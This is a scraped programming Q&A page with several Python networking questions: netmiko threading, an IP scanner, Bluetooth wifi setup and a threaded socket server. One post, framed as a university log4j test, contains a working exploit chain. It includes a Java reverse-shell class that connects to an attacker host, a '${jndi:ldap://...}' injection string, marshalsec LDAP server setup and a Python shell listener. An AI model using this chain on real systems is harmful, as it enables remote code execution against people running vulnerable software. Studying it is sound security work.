Python multithreading loop issue? - python

I'm build a script with multithreading feature to access devices and execute commands. The issue here is that I'm seeing that the script connects to device twice instead of 1 time only. Added a print on each function to identify which area the loops occur.
From the output, I think the loop is on connect_now function but I'm not able to find the solution. Is there any issue on my try statement?
#!/usr/bin/env python3
# coding=utf-8
# ~~~~~~~~
# Import modules
# ~~~~~~~~
import subprocess, logging, re, getpass,time
from netmiko import ConnectHandler
from netmiko.ssh_exception import NetMikoTimeoutException, NetMikoAuthenticationException
from paramiko.ssh_exception import SSHException
import threading
from queue import Queue
##from threading import Thread
logging.basicConfig(level=logging.INFO,
format="{asctime} {levelname:<8} {message}",
style='{',
filename='%slog' % __file__[:-2],
filemode='a'
)
##logging.info("this is a message")
# ~~~~~~~~
# Define functions
# ~~~~~~~~
dev_list = []
success_dev = []
failed_dev = []
def ping_ip(ip):
global gips
rstlongstr = ''
(output,error) = subprocess.Popen((['ping', ip, '-c', '2']), stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True).communicate()
if 'bytes from' in output:
dev_list.append(ip)
logging.info(output)
## print (output)
reg_rttavg = re.findall(r'(?=rtt.*=\s[\d.]+\/([\d.]+))',output)
strpreg_rttavg = [test2.strip() for test2 in reg_rttavg]
str_rttavg = '\n'.join(strpreg_rttavg)
reg_ploss = re.findall(r'[\d%.]+(?= packet loss)',output)
strpreg_ploss = [test2.strip() for test2 in reg_ploss]
str_ploss = '\n'.join(strpreg_ploss)
#return ".....Device is Reachable - " + ip
return "[ " + ip + " ] Reachable - rtt(avg): %s ploss: %s" % (str_rttavg,str_ploss)
elif 'Host Unreachable' in output:
## print (output)
return "[ " + ip + " ] Unreachable"
else:
#return "Unreachable"
## print (output)
return "[ " + ip + " ] Unreachable"
thread_q.put
def seq_sendcmd(device_conn):
global success_dev, failed_dev,output_dict
print ("SEND COMMAND FUNCTION")
sh_commands = ['show run | i hostname', 'show clock']
for cmd in sh_commands:
print ("Sending command: ",cmd)
result_out = device_conn.send_command(cmd)
device_conn.disconnect()
print ('[ ' + ip_a + ' ] Logged out')
## success_dev.append(hostname)
def connect_now(ip_a,username,password,enable_s):
global success_dev, failed_dev
print ('[ ' + ip_a + ' ] Loging into IP')
try:
device_conn = ConnectHandler(device_type='cisco_ios_ssh', ip=ip_a,
username=username, password=password,
secret=enable_s, verbose=False)
output = seq_sendcmd(device_conn)
output_q.put(output)
except:
print ('[ ' + ip_a + ' ] Unable to access')
## failed_dev.append(ip_a)
#~~~~~~~~~~~~~~
#MAIN
#~~~~~~~~~~~~~~
##ipadd = ['192.168.2.111',"192.168.2.113", '9.9.9.222','192.168.2.112',"192.168.2.66",]
ipadd = ['192.168.2.111',"192.168.2.113"]
thread_q = Queue()
for x in ipadd:
## print ("Pinging: ",x)
m_thread = threading.Thread(target=ping_ip, args=(x,))
m_thread.start()
time.sleep(3)
m_thread.join()
print (dev_list)
Results = []
uname = "test"
pswd = "test"
ena = "test"
if uname == "" or pswd == "" or ena == "":
print('username, password or enable_secret cannot be empty. Please enter valid credentials!!!')
logging.info("username, password or enable_secret cannot be empty. Please enter valid credentials!!!")
sys.exit()
logging.info("List of reachable device: " + str(dev_list))
start = time.time()
output_q = Queue()
for ip in dev_list:
print ("Processing: ",ip)
worker = threading.Thread(target=connect_now, args=(ip,uname,pswd,ena))
worker.start()
time.sleep(3)
worker.join()
print (output_q.get)
end = time.time()
total = int(end - start)
print("\n Elapsd Time: " + str(total) + " Sec\n")
Actual output: Let track 192.168.2.111 session.
['192.168.2.111', '192.168.2.113'] <---- from dev_list
Processing: 192.168.2.111 <---- from Main/Global
[ 192.168.2.111 ] Loging into IP <---- from connect_now
SEND COMMAND FUNCTION <---- from seq_sendcmd func
Sending command: show run | i hostname
Sending command: show clock
Processing: 192.168.2.113
[ 192.168.2.113 ] Loging into IP
[ 192.168.2.111 ] Unable to access <---- from connect_now func,why script tries to connect again?
SEND COMMAND FUNCTION
Sending command: show run | i hostname
Sending command: show clock
[ 192.168.2.113 ] Unable to access
<bound method Queue.get of <queue.Queue object at 0x7faf12043eb8>>
Elapsd Time: 6 Sec

Related

Python server does not show output correctly

for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell.
Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why.
I'm new to python and java programming so I'm a little confused.
Initial project: https://github.com/KleekEthicalHacking/log4j-exploit
I made some changes and added a python socket to handle the reverse shell.
PS: with netcat it seems to work fine but command with some space non work (ex: cd .. not work)
For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os
poc.py + exploit class:
import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing
from http.server import HTTPServer, SimpleHTTPRequestHandler
init(autoreset=True)
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def payload(userip, webport, lport):
genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
//String cmd="/bin/sh";
String [] os_specs = GetOperatingSystem();
String os_name = os_specs[0].toString();
String cmd = os_specs[1].toString();
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
so.write(os_name.getBytes("UTF-8"));
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
public String [] GetOperatingSystem() throws Exception {
String os = System.getProperty("os.name").toLowerCase();
String [] result = new String[3];
if (os.contains("win")) {
result[0] = "Windows";
result[1] = "cmd.exe";
}
else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
result[0] = "Linux";
result[1] = "/bin/sh";
}
return result;
}
}
""") % (userip, lport)
# writing the exploit to Exploit.java file
try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')
except Exception as e:
print(Fore.RED + f'[X] Something went wrong {e.toString()}')
# checkJavaAvailible()
# print(Fore.GREEN + '[+] Setting up LDAP server\n')
# openshellforinjection(lport)
checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
p1.start()
print(Fore.GREEN + '[+] Setting up LDAP server\n')
p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
p2.start()
# create the LDAP server on new thread
# t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
# t1.start()
# createLdapServer(userip, webport)
# start the web server
print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL)
if javaver != 0:
print(Fore.RED + '[X] Java is not installed inside the repository ')
sys.exit()
def createLdapServer(userip, lport):
sendme = "${jndi:ldap://%s:1389/a}" % userip
print(Fore.GREEN + "[+] Send me: " + sendme + "\n")
subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
def open_shell_for_injection(lport):
terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
# terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='please enter the values ')
parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')
args = parser.parse_args()
payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] user interupted the program.")
sys.exit(0)
rce.py:
import argparse
import socket
import sys
from colorama import Fore, init
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def socket_for_rce(lport):
print(Fore.GREEN + "[+] Setup Shell for RCE\n")
SERVER_HOST = "0.0.0.0"
SERVER_PORT = int(lport)
BUFFER_SIZE = 8192
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(1)
print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
client_socket, client_address = s.accept()
print(
Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
f" --> "
f"Connected! (exit = close connection)\n")
os_target = client_socket.recv(BUFFER_SIZE).decode()
print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
if not os_target:
print(Fore.RED + "[X] No OS detected\n")
folderCommand = "pwd"
folderCommand += "\n"
client_socket.sendall(folderCommand.encode())
path = client_socket.recv(BUFFER_SIZE).decode()
print("path: " + path)
if not path:
print(Fore.RED + "[X] No work folder received\n")
path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path
while True:
command = input(f"{path_text} > ")
command += "\n"
# if not command.strip():
# continue
if command != "":
if command == "exit":
print(Fore.RED + "\n[X] Connection closed\n")
client_socket.close()
s.close()
break
else:
client_socket.sendall(command.encode())
data = client_socket.recv(BUFFER_SIZE).decode()
print(data)
else:
pass
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='Instruction for usage: ')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Rce Port')
args = parser.parse_args()
socket_for_rce(listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] User interupted the program.")
sys.exit(0)
Result:
Now works. I added time.sleep(0.2) after each sendall in rce.py

Python KeyboardInterrupt exception not working

I making multithreaded local ip scanner in python. I would like to add an option so that you can stop the scanner after pressing CTRL + C. I added keyboardinterrupt capture but it did not disable the script. Would someone help me write this?
My script:
def ping(ip):
if platform.system().lower() == 'windows':
param = '-n'
else:
param = '-c'
command = ['ping', param, '1', ip]
if 'destination host unreachable' in str(subprocess.Popen(command, stdout = subprocess.PIPE).stdout.read().lower()):
pass
elif 'request timed out' in str(subprocess.Popen(command, stdout = subprocess.PIPE).stdout.read().lower()):
pass
else:
with lock:
try:
host = socket.gethostbyaddr(ip)[0]
except:
host = 'No hostname'
now = datetime.now()
print(Back.LIGHTGREEN_EX + Fore.BLACK + now.strftime('[%Y-%m-%d %H:%M:%S]') + Style.RESET_ALL + Fore.LIGHTGREEN_EX + f' {host} | {ip} | Active')
def threader():
while True:
worker = q.get()
ping(worker)
q.task_done()
for x in range(60):
t = threading.Thread(target = threader)
t.daemon = True
t.start()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 53))
ip = s.getsockname()[0]
s.close()
prefix = ip.split('.')
prefix.pop()
for worker in range(256):
q.put('.'.join(prefix) + '.' + str(worker))
q.join()
print(Style.RESET_ALL, end = '')

How to collect, store and organize output with network and threading?

Need your help and suggestion, I'm collecting data from networking devices and I'm storing it to dictionary "output_dict={}" at the same time I'm going to use this dictionary to organize the data, however I'm stuck collecting all data when using multi threading.
There are 2 issues right now.
There are instances that I'm able to get the data from device 1 and 2. Although there are instances that I getting only 1 device. :(
Result 1:
['192.168.2.111', '192.168.2.113'] <-- List of devices
Processing: 192.168.2.111
[ 192.168.2.111 ] Loging into IP
Processing: 192.168.2.113
[ 192.168.2.113 ] Loging into IP
[ 192.168.2.111 ] Logged out
[ 192.168.2.113 ] Logged out
{2: {'MGMT IP': '192.168.2.113', 'OUTPUT': '*00:20:45.015 UTC Thu May 6 2021'}} <-- only device2
Result 2:
['192.168.2.111', '192.168.2.113']
Processing: 192.168.2.111
[ 192.168.2.111 ] Loging into IP
Processing: 192.168.2.113
[ 192.168.2.113 ] Loging into IP
[ 192.168.2.111 ] Logged out
[ 192.168.2.113 ] Logged out
{1: {'MGMT IP': '192.168.2.111', 'OUTPUT': '\nhostname R1'}, 2: {'MGMT IP': '192.168.2.113', 'OUTPUT': '*00:23:19.967 UTC Thu May 6
2021'}} <-- Both device1 & 2 are present.
I'm trying to append the key value pair to dictionary but it overides the data.
['192.168.2.111', '192.168.2.113']
Processing: 192.168.2.111
[ 192.168.2.111 ] Loging into IP
Processing: 192.168.2.113
[ 192.168.2.113 ] Loging into IP
[ 192.168.2.111 ] Logged out
[ 192.168.2.113 ] Logged out
{'MGMT IP': '192.168.2.113', 'OUTPUT': '*00:55:21.055 UTC Thu May 6 2021'} <-- Overides devices 1
My target is to have something like this. So I can easily organize the data.
[enter image description here][1]
[1]: https://i.stack.imgur.com/EL5om.png
cli output:
x = {'MGMT IP': '192.168.2.111', 'OUTPUT': 'output1'}{'MGMT IP': '192.168.2.111', 'OUTPUT': 'output2'}{'MGMT IP': '192.168.2.113',
'output1'}{'MGMT IP': '192.168.2.113', 'output2'}
How can achieve that when using multithreading and dictionary. Thanks. Here's my code.
# ~~~~~~~~
# Import modules
# ~~~~~~~~
import subprocess, logging, re, getpass,time
from netmiko import ConnectHandler
from netmiko.ssh_exception import NetMikoTimeoutException, NetMikoAuthenticationException
from paramiko.ssh_exception import SSHException
import threading
from queue import Queue
##from threading import Thread
logging.basicConfig(level=logging.INFO,
format="{asctime} {levelname:<8} {message}",
style='{',
filename='%slog' % __file__[:-2],
filemode='a'
)
##logging.info("this is a message")
# ~~~~~~~~
# Define functions
# ~~~~~~~~
dev_list = []
success_dev = []
failed_dev = []
output_dict = {}
def ping_ip(ip):
global gips
rstlongstr = ''
(output,error) = subprocess.Popen((['ping', ip, '-c', '2']), stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True).communicate()
if 'bytes from' in output:
dev_list.append(ip)
logging.info(output)
## print (output)
reg_rttavg = re.findall(r'(?=rtt.*=\s[\d.]+\/([\d.]+))',output)
strpreg_rttavg = [test2.strip() for test2 in reg_rttavg]
str_rttavg = '\n'.join(strpreg_rttavg)
reg_ploss = re.findall(r'[\d%.]+(?= packet loss)',output)
strpreg_ploss = [test2.strip() for test2 in reg_ploss]
str_ploss = '\n'.join(strpreg_ploss)
return "[ " + ip + " ] Reachable - rtt(avg): %s ploss: %s" % (str_rttavg,str_ploss)
elif 'Host Unreachable' in output:
return "[ " + ip + " ] Unreachable"
else:
return "[ " + ip + " ] Unreachable"
thread_q.put
def seq_sendcmd(device_conn,ip_a):
global success_dev, failed_dev,output_dict
FinalResult = ''
sh_commands = ['show run | i hostname', 'show clock']
for cmd in sh_commands:
result_out = device_conn.send_command(cmd)
output_dict = {}
output_dict['MGMT IP'] = ip_a
output_dict['OUTPUT'] = result_out
FinalResult = FinalResult + ('*****%s\n\n%s\n\n' %(cmd,result_out))
device_conn.disconnect()
print ('[ ' + ip_a + ' ] Logged out')
return FinalResult
def connect_now(ip_a,username,password,enable_s):
global success_dev, failed_dev
print ('[ ' + ip_a + ' ] Loging into IP')
try:
print ("X is: ",x)
device_conn = ConnectHandler(device_type='cisco_ios_ssh', ip=ip_a,
username=username, password=password,
secret=enable_s, verbose=False)
output = seq_sendcmd(device_conn,ip_a)
output_q.put(output)
except Exception as e: print(e)
#~~~~~~~~~~~~~~
#MAIN
#~~~~~~~~~~~~~~
##ipadd = ['192.168.2.111',"192.168.2.113", '9.9.9.222','192.168.2.112',"192.168.2.66",]
ipadd = ['192.168.2.111',"192.168.2.113"]
thread_q = Queue()
for x in ipadd:
m_thread = threading.Thread(target=ping_ip, args=(x,))
m_thread.start()
time.sleep(3)
m_thread.join()
print (dev_list)
Results = []
uname = "test"
pswd = "test"
ena = "test"
if uname == "" or pswd == "" or ena == "":
print('username, password or enable_secret cannot be empty. Please enter valid credentials!!!')
logging.info("username, password or enable_secret cannot be empty. Please enter valid credentials!!!")
sys.exit()
logging.info("List of reachable device: " + str(dev_list))
start = time.time()
output_q = Queue()
threads = []
x = 0
for ip in dev_list:
x+=1
print ("Processing: ",ip)
t = threading.Thread(target=connect_now, args=(ip,uname,pswd,ena))
threads.append(t)
t.start()
time.sleep(3)
for t in threads:
t.join()
##print (output_q.get())
print (output_dict)
end = time.time()
total = int(end - start)
print("\n Elapsd Time: " + str(total) + " Sec\n")
If your problem is to resolve overriding problem you can use an algorithm as following so that you should be able to save your IP and Output pair without overriding:
IP = ["192.168.1.1", "192.168.2.1", "192.168.1.1"]
Output = ["output1", "output2", "output3"]
result_list = []
result2 = {}
i = 0
while i < len(IP):
result2 = {IP[i], Output[i]}
result_list.append(result2)
i = i + 1
print(result_list)
You can find the result below:

RPi 3 Python Script - NameError: name 'BluetoothSocket' is not defined

So I am relatively new to python scripting and I came across this code that is supposed to configure wifi over bluetooth between a raspberry pi and smart device. Unfortunately, I keep running into the error listed in the title. I was hoping someone can copy and run the code and enlighten me why i keep running into this error. All help is greatly appreciated!
#!/usr/bin/env python
import os
from bluetooth import *
from wifi import Cell, Scheme
import subprocess
import time
wpa_supplicant_conf = "/etc/wpa_supplicant/wpa_supplicant.conf"
sudo_mode = "sudo "
def wifi_connect(ssid, psk):
# write wifi config to file
f = open('wifi.conf', 'w')
f.write('country=GB\n')
f.write('ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev\n')
f.write('update_config=1\n')
f.write('\n')
f.write('network={\n')
f.write(' ssid="' + ssid + '"\n')
f.write(' psk="' + psk + '"\n')
f.write('}\n')
f.close()
cmd = 'mv wifi.conf ' + wpa_supplicant_conf
cmd_result = ""
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
# restart wifi adapter
cmd = sudo_mode + 'ifdown wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
time.sleep(2)
cmd = sudo_mode + 'ifup wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
time.sleep(10)
cmd = 'iwconfig wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
cmd = 'ifconfig wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
p = subprocess.Popen(['ifconfig', 'wlan0'], stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
out, err = p.communicate()
ip_address = "<Not Set>"
for l in out.split('\n'):
if l.strip().startswith("inet addr:"):
ip_address = l.strip().split(' ')[1].split(':')[1]
return ip_address
def ssid_discovered():
Cells = Cell.all('wlan0')
wifi_info = 'Found ssid : \n'
for current in range(len(Cells)):
wifi_info += Cells[current].ssid + "\n"
wifi_info+="!"
print wifi_info
return wifi_info
def handle_client(client_sock) :
# get ssid
client_sock.send(ssid_discovered())
print "Waiting for SSID..."
ssid = client_sock.recv(1024)
if ssid == '' :
return
print "ssid received"
print ssid
# get psk
client_sock.send("waiting-psk!")
print "Waiting for PSK..."
psk = client_sock.recv(1024)
if psk == '' :
return
print "psk received"
print psk
ip_address = wifi_connect(ssid, psk)
print "ip address: " + ip_address
client_sock.send("ip-addres:" + ip_address + "!")
return
try:
while True:
server_sock=BluetoothSocket( RFCOMM )
server_sock,bind(("",PORT_ANY))
server_sock.listen(1)
port = server_sock.getsockname()[1]
uuid = "815425a5-bfac-47bf-9321-c5ff980b5e11"
advertise_service( server_sock, "RaspberryPiServer",
service_id = uuid,
service_classes = [ uuid, SERIAL_PORT_CLASS ],
profiles = [ SERIAL_PORT_PROFILE ],
protocols = [ OBEX_UUID ]
)
print("Waiting for connection on RFCOMM channel %d" % port)
client_sock, client_info = server_sock.accept()
print "Accepted connection from ", client_info
handle_client(client_sock)
client_sock.close()
server_sock.close()
# finished config
print 'Finished configuration\n'
except (KeyboardInterrupt, SystemExit):
print '\nExiting\n'
This code outputs
Traceback (most recent call last): File "test.py", line 128, in <module>
server_sock=BluetoothSocket( RFCOMM )
NameError: name 'BluetoothSocket' is not defined
Can you show us your python version ?
Just type:
$ python --version
bluetooth lib seems to be present. But not BluetoothSocket: try to install bluez and python-bluez
$ sudo apt-get install bluez
$ sudo apt-get install python-bluez

How to end a server socket listen

So what i'm trying to do is to make a multi-threaded server that creates threads for each client that connects to it, and replies back the string sent from the client.
It sort of works, but my server doesn't actually end properly. My KerboardInterrupt catch doesn't seem to work in windows command prompt, only thing that lets me exit the process would be ctrl + pause/break. Can anyone help me think of a way to get the server to end gracefully?
Server Code:
import socket
import threading
import time
import datetime
import sys
def getTime():
ts = time.time()
timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m- %d_%H:%M:%S')
return timeStamp
def ThreadFunction(clientsocket, clientaddr):
global ReceivedData
global SentData
while True:
#Receive data from client
data = clientsocket.recv(bufferSize)
#Get client IP and port
clientIP, clientSocket = clientsocket.getpeername()
#Add to total amount of data transfered
ReceiveDataSize = len(data)
ReceivedData += ReceiveDataSize
#LOg the received data
text_file.write(str(getTime()) + "__ Size of data received (" + clientIP + ":" + str(clientSocket) + ") = " + str(ReceiveDataSize) + '\n')
#Send data
clientsocket.send(data)
SentDataSize = len(data)
SentData += SentDataSize
#Log the sent data
text_file.write(str(getTime()) + "__ Size of data sent (" + clientIP + ":" + str(clientSocket) + ") = " + str(SentDataSize) + '\n')
def Close(counter, ReceivedData, SentData):
print ("Shutting down Server...")
serversocket.close()
text_file.write("\n\nTotal # of connections: " + str(counter))
text_file.write("\nTotal data received: " + str(ReceivedData))
text_file.write("\nTotal data sent: " + str(SentData))
text_file.close()
sys.exit()
if __name__ == '__main__':
serverIP = raw_input('Enter your server IP \n')
port = int(raw_input('What port would you like to use?\n'))
# Maintain how many connections
connections = []
counter = 0
# Maintain amount of data sent to and from server
ReceivedData = 0
SentData = 0
bufferSize = 1024
# Create and initialize the text file with the date in the filename in the logfiles directory
text_file = open("MultiThreadedServerLog.txt", "w")
address = (serverIP, port)
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Bind server to port
serversocket.bind(address)
# The listen backlog queue size
serversocket.listen(50)
print ("Server is listening for connections\n")
try:
while 1:
# Accept client connections, increment number of connections
clientsocket, clientaddr = serversocket.accept()
counter += 1
# Log client information
print (str(clientaddr) + " : " + " Just Connected. \n Currently connected clients: " + str(counter) + "\n")
text_file.write(str(getTime()) + " - " + str(clientaddr) + " : " + " Just Connected. \n Currently connected clients: " + str(counter) + "\n")
clientThread = threading.Thread(target=ThreadFunction, args=(clientsocket, clientaddr))
clientThread.start()
except KeyboardInterrupt:
print ("Keyboard interrupt occurred.")
Close(counter, ReceivedData, SentData)
Client Code:
from socket import *
import threading
import time
import random
import sys
import datetime
serverIP = ""
port = 8005
message = ""
msgMultiple = 1
def getTime():
ts = time.time()
timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d_%H:%M:%S')
return timeStamp
def run(clientNumber):
buffer = 1024
global totalTime
s = socket(AF_INET, SOCK_STREAM)
s.connect((serverIP, port))
threadRTT = 0
while 1:
for _ in range(msgMultiple):
cData = message + " From: Client " + str(clientNumber)
# Start timer and send data
start = time.time()
s.send(cData.encode('utf-8'))
print "Sent: " + cData
# Stop timer when data is received
sData = s.recv(buffer)
end = time.time()
# Keep track of RTT and update total time
response_time = end - start
threadRTT += end - start
totalTime += response_time
print "Received: " + cData + '\n'
t = random.randint(0, 9)
time.sleep(t)
# Log information of Client
text_file.write(
"\nClient " + str(clientNumber) + " RTT time taken for " + str(msgMultiple) + " messages was: " + str(
threadRTT) + " seconds.")
threadRTT = 0
break
if __name__ == '__main__':
serverIP = raw_input('Enter the server IP: ')
port = int(input('Enter the port: '))
clients = int(input('Enter number of clients: '))
message = raw_input('Enter a message to send: ')
msgMultiple = int(input('Enter the number of times you would like to send the message: '))
# Initialize Log file
text_file = open("ClientLog.txt", "w")
# Used to maintain list of all running threads
threads = []
totalTime = 0
# Create a seperate thread for each client
for x in range(clients):
thread = threading.Thread(target=run, args=[x])
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
# Calculations for log data
bytes = sys.getsizeof(message)
totalRequests = clients * msgMultiple
totalBytes = totalRequests * bytes
averageRTT = totalTime / totalRequests
# Output data
print("Bytes sent in message was : " + str(bytes))
print("Total Data sent was : " + str(totalBytes) + " Bytes.")
print("Average RTT was : " + str(averageRTT) + " seconds.")
print("Requests was : " + str(totalRequests))
# Write data to log file
text_file.write("\n\n Bytes sent in message was : " + str(bytes))
text_file.write("\nTotal Data sent was : " + str(totalBytes) + " Bytes.")
text_file.write("\nAverage RTT was : " + str(averageRTT) + " seconds.")
text_file.write("\nRequests was : " + str(totalRequests))
Also if anyone else has any general improvements they would add to this code, let me know. I'm still pretty new at python, and still rough at it.
Here is the normal intended input i'm getting from my server.
But when it gets to the last client that connects, it starts to drag on for some reason.
The last picture, the inputs go on for the majority of the text file, for a very long time. Seems like something isn't ending properly.
Solved by adding an if statement that checks for a byte < 0 , if it is, end the socket.

Categories